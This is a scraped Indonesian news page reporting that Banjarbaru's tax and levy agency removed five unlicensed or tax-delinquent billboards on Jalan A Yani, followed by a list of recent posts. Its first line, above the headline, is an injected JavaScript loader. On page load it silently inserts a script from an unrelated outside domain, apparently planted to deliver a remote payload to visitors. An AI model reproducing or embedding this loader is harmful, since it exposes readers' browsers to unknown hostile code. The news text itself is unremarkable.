(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BPPRD Banjarbaru Turunkan Paksa Reklame Tanpa Izin dan Penunggak Pajak


BANJARBARU, Badan Pengelola Pajak dan Retribusi Daerah (BPPRD) Kota Banjarbaru tertibkan sejumlah reklame yang tidak membayar pajak dan tanpa izin di sepanjang jalan A Yani Kota Banjarbaru, Jumat (22/6) pukul 15.20 Wita

Menurunkan Tim Jaguar didampingi personil Satpol PP, BPPRD Kota Banjarbaru melakukan penertiban pada reklame bando yang tidak membayar pajak.

Hingga pukul 17.45 Wita sebanyak 5 baliho telah diturunkan, baik baliho iklan maupun baliho promosi Pemilu 2019.

Diantara baliho-baliho yang ditertibkan tercatat dua berlokasi di Loktabat Km 33 tepatnya di Jembatan Kembar, satu baliho di Guntung Manggis, dan dua di Landasan Ulin di Bundaran Bandara Syamsudin Noor.

Kepala BPPRD Kota Banjarbaru Drs H Rustam Effendi MAP mengatakan, titik lokasi reklame bando yang melintang di atas jalan tersebut dipastikan sudah tidak memiliki izin karena menyangkut keselamatan pengendara jalan.

“Ya, setelah kita liat data system, ternyata di sepanjang jalan protokol kota Banjarbaru banyak reklame yang tidak memiliki izin. Karena persoalan izin bando yang melintang di atas jalan itu tidak diperkenankan oleh Kementrian PU,” ungkapnya.

Selain menertibkan baliho-baliho liar, BPPRD Kota Banjarbaru tidak menurunkan sejumlah baliho bermasalah karena ada pernyataan dari pemilik untuk menyelesaikan pajaknya hari Senin mendatang.

“Sosialisasi sebenarnya telah dilakukan sejak lama dari kami, baik itu melakukan konfirmasi ke beberapa vendor penyedia layanan reklame, maupun publikasi lewat media massa,” kata Rustam.

Mantan Camat Banjarbaru ini menjelaskan, pihak vendor alias penyedia reklame yang tidak memiliki perpanjangan izin diharuskan membayar pajak karena jika masih ada yang nekat memasang baleho tanpa izin, sanksi pidana akan dikenakan.

“Meskipun tidak memiliki perpanjangan izin mereka harus tetap melakukan kewajiban membayar pajak, sesuai dengan Perda No 12 tahun 2011 terkait dengan pajak reklame. Jika tidak, balihonya akan diturunkan dan dipidanakan karena melanggar Perda. Anda membayar pajak berarti anda ikut berpartisipasi membangun kota Banjarbaru.” tegasnya.

Kegiatan penertiban reklame ini dicanangkan untuk dilakukan setiap satu bulan sekali dan diharapkan untuk pihak terkait segera melapor ke BPPRD Kota Banjarbaru di  Jalan Panglima Batur No 3 Banjarbaru. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.